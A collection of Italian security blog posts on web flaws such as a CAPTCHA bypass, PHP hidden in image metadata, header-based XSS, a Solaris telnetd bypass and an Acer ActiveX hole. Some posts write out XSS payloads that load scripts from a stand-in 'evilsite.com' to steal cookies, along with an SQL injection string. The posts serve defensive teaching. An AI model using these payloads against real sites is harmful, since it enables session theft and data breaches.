C’è un Corriere Espresso Italiano che per effettuare il tracciamento della spedizione chiede, oltre al solito numero di tracking, di compilare un form con le lettere che appaiono dentro un CAPTCHA.
La cosa simpatica è che l’url dell’immagine che viene richiamata attraverso il codice HTML punta ad una Servlet che disegna, attraverso il metodo ActionTracking.doGetCaptcha, le lettere del CAPTCHA grazie ad un paramentro presente nella query string:

<img src=”/ResourceServlet.html?execute2=ActionTracking.doGetCaptcha&ses_id=…&text_immagine=HNHILE” border=”0″>

ActionTracking.doGetCaptcha scrive le lettere ricevute in GET nella sessione corrente per poi poter controllare, nel passo successivo, la correttezza delle lettere inserite nel campo di testo. In questo modo, per automatizzare il processo di controllo di stato della spedizione, è possibile leggere direttamente nel codice HTML della prima pagina il parametro che viene utilizzato per richiamare il metodo ActionTracking.doGetCaptcha. In più è possibile forzare il salvataggio di lettere arbitrarie, all’interno della sessione, impostando il paramentro text_immagine a piacere.

Il CAPTCHA sopra è un tributo alle parole no-sense utilizzate nella trilogia “Amici miei”.

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)

Drupal Day Italia

Gli impegni non mi hanno permesso di parlarne prima. DrupalDay Italia è stata la prima giornata dedicata interamente a Drupal in Italia.

Complimenti veramente a tutti gli organizzatori del Drupal Day Italia. Ottima l’organizzazione e la partecipazione del pubblico. Gli interventi sono stati di ottimi livelli anche se il mal tempo si è messo contro.

Una esperienza positiva, da ripetere!

Gli interventi dovrebbero essere pubblicati nei prossimi giorni direttamente sul sito web ufficiale.

Aggiornamento: sono state pubblicate le fotografie.

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)

Ovviamente la cosa si è diffusa in rete e c’è chi ha scritto pure un documento sull’argomento, non mi sono soffermato più di tanto sugli esempi ma devo dire che può essere utile per capire quali sono i problemi derivanti da un sistema di upload pubblico.

Nell’esempio di RSnake il codice PHP viene messo in parti più o meno casuali dell’immagine GIF e vengono usati i commenti “/*” e “*/” perchè ci sono stati problemi di parsing con i dati binari che compongono l’immagine stessa. Personalmente ho creato una semplice immagine GIF di 1×1 pixel, in formato GIF89a il quale permette l’uso dei metadati, e ho salvato dentro ad essa un commento che altro non era che del codice PHP:
A questo punto ho rinominato il file in .php ed ho provato a far effettuare il parsing a mod_php sia in versione 4 che 5 e non c’è stato nessun problema. L’unico inconveniente, se così si vuole chiamare è che il parser riconosce solo il codice all’interno di “<?php ?>” quindi tutti i caratteri ASCII che compongono l’immagine saranno mandati direttamente in output:

Se il file GIF rinominato .php viene eseguito senza problemi dal parser PHP vuol dire che se cerco di includere l’immagine originale, con il commento che contiene codice PHP, tramite include() o require() questo verrà eseguito: si possono, quindi, usare file di immagine (GIF, PNG e JPEG) per eseguire codice tramite RFI (Remote File Inclusion). A questo punto un qualsiasi servizio di image hosting come ImageShack, Flickr, Zooomr e tanti altri può trasformarsi inconsapevolmente in un hoster di codice per RFI.
Come già detto, per ospitare codice PHP in una immagine, è possibile utilizzare, oltre al formato GIF, anche JPEG e PNG. Per farlo sarà necessario solamente utilizzare i metadati previsti dai due formati.

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)

GET http://www.ansa.it/ HTTP/1.1
Host:www.ansa.it
User-Agent:Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4
Accept:text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language:it,it-it;q=0.8,en;q=0.5,en-us;q=0.3
Accept-Encoding:gzip,deflate
Accept-Charset:ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive:300
Proxy-Connection:keep-alive
Referer:http://www.google.it/search?hl=it&q=ansa&btnG=Cerca+con+Google&meta=

Essendo header generati dal browser o più in generale dall’utente essi possono essere modificati a piacimento.
Se vi fosse un software di statistiche che colleziona “User-Agent” e “Referer” salvandoli in un database sarebbe semplice creare XSS (Cross-site scripting) permanenti. Solitamente le statistiche vengono consultate in aree ad accesso limitato, in una applicazione che non effettua i dovuti controlli e codifiche un Referer di questo tipo potrebbe risultare veramente pericoloso:

http://www.anybadsite.com/?”><script/src=”http://evilsite.com/xss.js”></script><style=”

In questo modo un attacker potrebbe eseguire qualsiasi istruzione JS all’interno dell’area riservata dove vengono consultate le statistiche senza che la vittima se ne accorga. Gli utilizzi più interessanti vanno dal furto del token di autenticazione contenuto nel cookie all’Intranet Hacking.
Oltre all’utilizzo di XSS diretti, l’header “Referer” potrebbe essere modificato ad arte per dirottare la vittima su un qualsiasi sito esterno, vulnerabile ad XSS:

http://www.victimbank.com/home.asp?fuzzy=mybankxyxyxyx&page=<script/src=http://evilsite.com/stealcookie.js></script>

Questi sono solo esempi basati sull’header “Referer” ma tutto è riproducibile su “User-Agent” e tutti quegli header che una applicazione Web utilizza ma non valida in maniera opportuna.

Ho effettuato dei test navigando con un “User-Agent” modificato ad arte e mi sono accorto come molte volte il codice JS iniettato dentro ad esso venga eseguito. Ciò vuol dire che circa il 70% delle applicazioni che ne fanno uso prendono per buono direttamente l’user-input.

I webmaster e i webdeveloper dovrebbero prendere coscienza che tutto l’user-input come cookie, user-agent, referer, Accept-Charset, Accept-Language, ecc.. dovrebbe essere sempre validato e codificato nel migliore dei modi.

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)

L’articolo affronta punto per punto le principali problematiche di sicurezza che si presentano al momento della scrittura di una Web Application. Il fatto è che alcuni dei consigli sono sbagliati.

• Handle errors gracefully
  Place the ampersat symbol (@) in front of many of your PHP function calls. If they fail, the ampersand will stop from from showing that failure in the browser window. This is very useful when making database calls but your database is down, or the SQL statement returns an error. Such messages would only give feedback to intruders, or look unprofessional to regular users.
• Strip backslashes, HTML, SQL and PHP tags from any form field data
  If someone maliciously tries to send HTML, SQL or PHP code through a text field entry not meant to expect it, they can disrupt or break your code. Use the following PHP functions to strip out such text: strip_tags(), str_replace() and stripslashes().
  Example: $login = @strip_tags($login); Example: $login = @stripslashes($login);
• Add “LIMIT 1″ to the end of your SQL statements
  That will limit the number of results to just 1. If someone successfully hijacks your site, and is able to run a SQL statement that returns data, or deletes it, placing “LIMIT 1″ at the end of any SQL string will help limit the amount of data they are able to see or damage.
  Example: SELECT * FROM useraccount WHERE Login=’$login’ AND Password=’$encrypted’ LIMIT 1
• Use $_POST not $_REQUEST
  If your HTML form uses POST to send the data to the login script, then make sure your login script gets the input data using $_POST, and not $_REQUEST. The latter would allow someone to pass data via GET, on the end of the URL string.

Gli errori ritornati dalle funzioni non andrebbero nascosti all’utente tramite “@” ma attraverso le varie funzioni di PHP: in primis set_error_handler() potendo così anche salvare tutti gli errori su un database o su un file. In linea generale il metodo “security through obscurity” non è ottimo, ma nelle Web Application potrebbe aiutare a nascondere ad un attaccante dettagli necessari come la posizione sul file system dei file, la versione del linguaggio usato, il tipo di database utilizzato, ecc…

Le funzioni strip_tags e stripslashes suggerite non sono sufficenti ad evitare l’iniezione di codice Javascript.
Se vi fosse una pagina che riceve dati da un form in questo modo:
//...
$url = striptags(stripslashes($_POST['url']));
echo '<a href="'.$url.'">Url</a>';
//...
passando tramite la variabile “url”, inviata via metodo POST, una stringa uguale a questa è possibile creare un XSS:

" onmouseover=”myJSfunc();

Un metodo più efficace contro l’iniezione di codice JS è questo:
$url = htmlentities(strip_tags($_POST['url']),ENT_QUOTES);
così facendo tutti i tag HTML verranno cancellati e tutti caratteri speciali verranno convertiti nelle rispettive entità HTML. Ovviamente tali funzioni dovrebbero essere sempre usate come ultima spiaggia dopo aver validato la stringa con espressioni regolari o con la nuova funzione filter_input di PHP 5.
Nel caso di dati da inserire in un DataBase ci viene incontro una ottima funzione nativa di PHP: {mysql,mysqli,ps,sqlite}_escape_string. Una ottima contromusira alle SQL Injection la forniscono anche le “prepared statements” disponibili con PHP 5 e Zend Framework.
L’aggiunta dell’istruzione “LIMIT 1″ alla fine di una query non rende immune ad attacchi un’applicazione che non effettua i dovuti controlli sui dati ricevuti. Se vi fosse una pagina che riceve dati da un form in questo modo:
//...
$id = $_POST['id'];
$query = '<SELECT * FROM users WHERE id='.$_POST['id'].' LIMIT 1';
//...
passando tramite la variabile “id”, inviata via metodo POST, una stringa uguale a questa sarebbe possibile creare una SQL Injection bypassando anche la direttiva “LIMIT 1″:

1 OR 1=1; –

Per concludere, l’utilizzo del metodo POST al posto di GET o del più generale REQUEST aiuta certo ad evitare XSS di tipo 1 ma non rende più difficile, ad un attaccante, manipolare i paramentri inviati alla Web Application.

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)

HttpOnly Cookie è stato implementato per la prima volta in IE 6 sp1, da pochi giorni è stato integrato di default anche nella terza beta di Firefox 3.

HttpOnly è ancora una tecnologia poco utilizzata: è stata implementata ufficialmente su PHP dalla versione 5.2 Ci sono però dei workaround per utilizzarla anche sulle versioni precedenti.

Per chi volesse provare HttpOnly su Firefox 2 può usare l’estensione “httpOnly” scritta da Stefan Esser. L’estensione non segue la vera implementazione usata da Microsoft: tutti i cookie in arrivo, contrassegnati dal flag HttpOnly vengono criptati con AES tramite un hook di Firefox. Un altro hook decripta i cookie solo quando vengono inviati tramite HTTP, in questo modo i cookie ottenuti tramite JavaScript saranno inutilizzabili perché criptati.

Segnalo inoltre, che da poche ore sono stati rilasciati Firefox 2.0.3 e Firefox 1.5.0.11 che correggono alcuni bug di sicurezza venuti alla ribalta negli scorsi giorni.

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)

Di seguito è riportata la parte di codice (preso dal progetto OpenSolaris) responsabile del problema:

/usr/src/cmd/cmd-inet/usr.sbin/in.telnetd.c
3199 } else /* default, no auth. info available, login does it all */ {
3200 (void) execl(LOGIN_PROGRAM, “login”,
3201 “-p”, “-h”, host, “-d”, slavename,
3202 getenv(“USER”), 0);
3203 }

/usr/src/cmd/login/login.c
1399 case ‘f’:
1400 /*
1401 * Must be root to bypass authentication
1402 * otherwise we exit() as punishment for trying.
1403 */
1404 if (getuid() != 0 || geteuid() != 0) {
1405 audit_error = ADT_FAIL_VALUE_AUTH_BYPASS;
1406
1407 login_exit(1); /* sigh */
1408 /*NOTREACHED*/
1409 }
1410 /* save fflag user name for future use */
1411 SCPYL(user_name, optarg);
1412 fflag = B_TRUE;

Telnetd è disabilitato di default solo sull’update 3 di Solaris. Su update 1 e 2 telnetd è attivo di default con privilegi ristretti.
Siamo nel 2007 e demoni come telnet dovrebbero essere in disuso da anni ormai, ma non sempre è così. ISC suggerisce, a chi proprio non riesce a farne a meno, alcuni modi per ridurre l’impatto del bug.

Nel 1994 la stessa vulnerabilità fu scoperta in IBM AIX.

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)

Stefan Esser è un consulente di sicurezza tedesco che da anni ha a che fare con software OpenSource.
Circa 6 anni fa è entrato a far parte degli sviluppatori di PHP, grazie a questa mansione è stato a stretto contatto con i sorgenti di PHP capendo così che essi non erano scritti con la sicurezza come obiettivo. Ha così deciso di creare il security team all’interno di PHP per poter gestire in maniera ottimale il report di bug e il rilascio di patch.
Qualcosa nel frattempo è andato storto tanto da farlo ritirare dal gruppo di sviluppatori PHP.

Dal 2004, Stefan, ha iniziato un progetto personale chiamato “Hardened PHP” il quale fornisce patch per aumentare la sicurezza del codice ufficiale. “Hardened PHP” è stato recentemente rimpiazzato da Suhosin, progetto nato dall’idea di dividere “Hardened PHP” in due parti distinte. La protezione dello Zend Engine, per difendere il “core” da buffer overflow, implementata come patch ai sorgenti originali e un’estensione che integra tutti gli altri tipi di protezione.
Suhosin risulta trasparente sia all’utente sia allo sviluppatore: implementa il controllo sui parametri passati alla funzione mail() per evitare injection di header, effettua la crittografia dei dati delle sessioni e dei cookie, blocca le url nei parametri delle funzioni include e require, ecc…

Stefan Esser mentre parla del futuro “Month of PHP bugs”:

Its goal is to make people and especially the PHP developers aware that bugs in PHP exist. While this sounds obvious for everyone on the outside, it is actually required. PHP has a very bad reputation when it comes to security, which is mostly caused by all the advisories about security holes in PHP applications.

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)

This document is designed to help organizations understand what comprises a testing program, and to help them identify the steps that they need to undertake to build and operate that testing program on their web applications. It is intended to give a broad view of the elements required to make a comprehensive web application security program. This guide can be used as a reference and as a methodology to help determine the gap between your existing practices and industry best practices. This guide allows organizations to compare themselves against industry peers, understand the magnitude of resources required to test and remediate their software, or prepare for an audit. This document does not go into the technical details of how to test an application, as the intent is to provide a typical security organizational framework.

Non è facile in poche righe descrivere la qualità elevata di questo documento. Tengo solo a sottolineare il fatto che persone come Matteo Meucci, Mauro Bregolin, Luca Carettoni, Stefano Di Paola, Giorgio Fedon, Andrea Lombardini, Claudio Merloni, Antonio Parata, Carlo Pelliccioni e Alberto Revelli hanno reso possibile spostare il baricentro di un progetto internazionale dagli Stati Uniti all’Italia.
Grazie ragazzi!

Matteo Meucci, coordinatore del capitolo Italiano OWASP, sta curando la OWASP Testing Guide dal 2005.

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)

Conoscendo il path intero di un file esegubile residente sul sistema vittima, tramite l’ActiveX, è possibile aprirlo senza nessuna interazione dell’utente in quanto LunchApp.APlunch (clsid: D9998BD0-7957-11D2-8FED-00606730D3AA) è settato come “safe for scripting” e “safe for initializing from persistent data”.

Aggiornando Internet Explorer alla versione 7 si risolvono i problemi di sicurezza in quanto la nuova versione del browser Microsoft disabilita l’opzione “safe for scripting” degli ActiveX precedentemente installati sul sistema.

Acer ha rilasciato una patch denominata Acer Preload Security Patch for Windows XP. E’ possibile comunque risolvere ponendo il kill-bit sul CLASS-ID dell’ActiveX come spiegato nella KB 240797 di Microsoft.

Un PoC è disponibile sulla pagina dell’autore della scoperta.

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)